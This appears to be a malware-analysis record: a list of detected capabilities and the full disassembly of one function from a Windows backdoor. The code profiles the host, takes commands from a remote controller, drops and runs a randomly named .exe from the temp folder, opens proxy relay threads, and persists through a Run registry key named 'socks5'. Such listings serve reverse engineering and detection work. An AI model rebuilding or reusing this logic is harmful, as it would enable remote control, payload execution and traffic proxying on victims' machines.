Function at 0x401486
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Get common file path
Get disk information
Get session user name
Get socket status
Persist via run registry key
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff850
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.00401fe7
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x401a7f
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x401a7f
mov dword [ebp - 0x34], eax
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x688], eax
mov edi, dword [ebp - 0x34]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x68c], 1
push 4
lea eax, [ebp - 0x68c]
push eax
push 1
push 6
push dword [ebp - 0x364]
call sub.wsock32.dll_setsockopt
lea eax, [ebp - 0x7a8]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401ffe
push 2
lea eax, [ebp - 0x7a8]
push eax
call fcn.00401ed4
mov dword [ebp - 0x18], eax
push dword [ebp + 0xc]
call sub.wsock32.dll_htons
mov word [ebp - 0x1a], ax
mov word [ebp - 0x1c], 2
mov dword [ebp - 0x68c], 1
lea eax, [ebp - 0x68c]
push eax
push 0x8004667e
push dword [ebp - 0x364]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x364]
call sub.wsock32.dll_connect
push 0
push 0xa
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x364]
call fcn.00401fad
lea eax, [ebp - 0x24]
push eax
push 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x401a7f
mov dword [ebp - 0x68c], 0
lea eax, [ebp - 0x68c]
push eax
push 0x8004667e
push dword [ebp - 0x364]
call sub.wsock32.dll_ioctlsocket
push 0x32
lea eax, [edi + 0x1c]
push eax
push 0x405078
call fcn.00401f60
mov word [edi + 0x4e], 1
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push 0x405078
call fcn.00401b21
mov eax, dword [ebp - 0x34]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x364]
call fcn.00401dfa
cmp dword [ebp - 8], 0
jne 0x401702
cmp dword [ebp - 0x44], 4
je 0x401702
push 0
push 0x3c
lea eax, [ebp - 0x30]
push eax
push 0
push dword [ebp - 0x364]
call fcn.00401fad
lea eax, [ebp - 0x24]
push eax
push 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x401a7f
or eax, eax
jne 0x401702
cmp dword [ebp - 0x40], 0
jne 0x401a7f
cmp dword [ebp - 0x44], 0
jne 0x401a7f
mov dword [ebp - 0x6a4], 1
inc dword [ebp - 0x7ac]
cmp dword [ebp - 0x7ac], 2
je 0x401a7f
mov dword [ebp - 0x7b0], 0
push 3
lea eax, [ebp - 0x7b0]
push eax
push 0x32
push 0x405078
call fcn.00401b21
push dword [ebp - 0x688]
push 3
lea eax, [ebp - 0x7b0]
push eax
push dword [ebp - 0x364]
call fcn.00401dfa
jmp 0x40164a
mov edi, dword [ebp - 0x34]
cmp dword [ebp - 0x40], 0
jne 0x401715
cmp dword [ebp - 0x44], 4
jne 0x4019f7
cmp word [edi + 2], 0
jne 0x40176a
cmp byte [edi], 0xff
jne 0x40173b
cmp byte [edi + 1], 0xfe
jne 0x40173b
mov dword [ebp - 0x6a8], 1
jmp 0x401a7f
cmp byte [edi], 0
jne 0x40174c
cmp byte [edi + 1], 0
jne 0x40174c
nop
jmp 0x4019eb
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x364], 0
je 0x401765
mov dword [ebp + ebx*4 - 0x364], 0
jmp 0x4019eb
cmp dword [ebp - 8], 0
jne 0x4017a9
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x364]
call fcn.00401e81
test eax, eax
jle 0x401a7f
mov dword [ebp - 8], eax
mov dword [ebp - 0x7ac], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00401f60
mov edx, dword [ebp - 0x40]
movzx ecx, word [edi + 2]
sub ecx, edx
cmp dword [ebp - 8], ecx
ja 0x4017ba
mov ecx, dword [ebp - 8]
push ecx
lea eax, [edx + edi + 4]
push eax
push dword [ebp - 0xc]
call fcn.00401f60
add dword [ebp - 0xc], ecx
sub dword [ebp - 8], ecx
add dword [ebp - 0x40], ecx
mov ax, word [ebp - 0x40]
cmp ax, word [edi + 2]
jne 0x4019eb
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push 0x405078
call fcn.00401b21
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x4018fe
mov ebx, dword [ebp - 0x34]
movzx eax, word [ebx + 2]
mov byte [eax + ebx + 4], 0
lea eax, [ebp - 0x38]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402325
cmp eax, 0x400
jle 0x4018f0
mov dword [ebp - 0x3c], eax
mov esi, dword [ebp - 0x34]
mov word [esi + 2], 4
push 3
lea eax, [esi + 1]
push eax
push 0x32
push 0x405078
call fcn.00401b21
push 4
lea eax, [esi + 4]
push eax
push 0x32
push 0x405078
call fcn.00401b21
push dword [ebp - 0x688]
push 7
lea eax, [esi + 1]
push eax
push dword [ebp - 0x364]
call fcn.00401dfa
mov edi, dword [ebp - 0x34]
push edi
push 0x200
call sub.kernel32.dll_GetTempPathA
add edi, eax
mov al, 0x5c
stosb byte es:[edi], al
push 4
call fcn.0040223e
lea ebx, [eax + 4]
push 0x18
call fcn.0040223e
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x40188a
mov al, 0x2e
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0x78
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0
stosb byte es:[edi], al
push 0
push 2
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
push dword [ebp - 0x34]
call fcn.0040226f
mov edi, dword [ebp - 0x34]
mov esi, edi
add edi, 0x200
mov ecx, 0x13
push 0x18
call fcn.0040223e
add eax, 0x61
stosb byte es:[edi], al
loop 0x4018c9
xor al, al
stosb byte es:[edi], al
push 0
push 1
push 0
push dword [ebp - 0x34]
push 0x14
lea eax, [esi + 0x200]
push eax
call fcn.0040281a
lea eax, [ebp - 0x38]
push eax
call fcn.004027ed
jmp 0x4019e4
cmp byte [edi], 0
jne 0x4019cd
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x401a7f
mov esi, eax
push 0x180
push esi
push edi
call fcn.00401f60
lea eax, [ebp - 0x684]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.00401f60
lea eax, [ebp - 0x364]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
cmp byte [esi + 7], 4
je 0x40197c
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x401987
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [ebp + ebx*4 - 0x364], eax
mov dword [ebp - 0x68c], 1
push 4
lea eax, [ebp - 0x68c]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x364]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x401117
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x684], eax
jmp 0x4019e4
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x364]
call fcn.00401dfa
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
jmp 0x401a7a
cmp dword [ebp - 8], 0
jne 0x401a3c
push 0
push 0x10000
push dword [ebp - 4]
push dword [ebp - 0x364]
call fcn.00401e81
test eax, eax
jle 0x401a7f
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 8], eax
mov dword [ebp - 0x7ac], 0
push 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00401f60
mov ecx, dword [ebp - 0x44]
mov edx, 4
sub edx, dword [ebp - 0x44]
cmp dword [ebp - 8], edx
jae 0x401a4f
mov edx, dword [ebp - 8]
push edx
lea eax, [ecx + edi]
push eax
push dword [ebp - 0xc]
call fcn.00401f60
add dword [ebp - 0xc], edx
sub dword [ebp - 8], edx
add dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 4
jne 0x401a7a
push 4
push edi
push 0x32
push 0x405078
call fcn.00401b21
jmp 0x40164a
push 2
push dword [ebp - 0x364]
call sub.wsock32.dll_shutdown
push dword [ebp - 0x364]
call sub.wsock32.dll_closesocket
lea esi, [ebp - 0x364]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x401aa2
xor eax, eax
lea edi, [ebp - 0x684]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x401aae
push dword [ebp - 0x688]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 4]
call sub.kernel32.dll_VirtualFree
push 0x8000
push 0
push dword [ebp - 0x34]
call sub.kernel32.dll_VirtualFree
cmp dword [ebp - 0x6a8], 1
jne 0x401b14
push 0
push 0
push 0
push 1
push str.socks5
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.00402111
push 0
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebp - 0x6a4]
pop esi
pop edi
pop ebx
leave
ret 8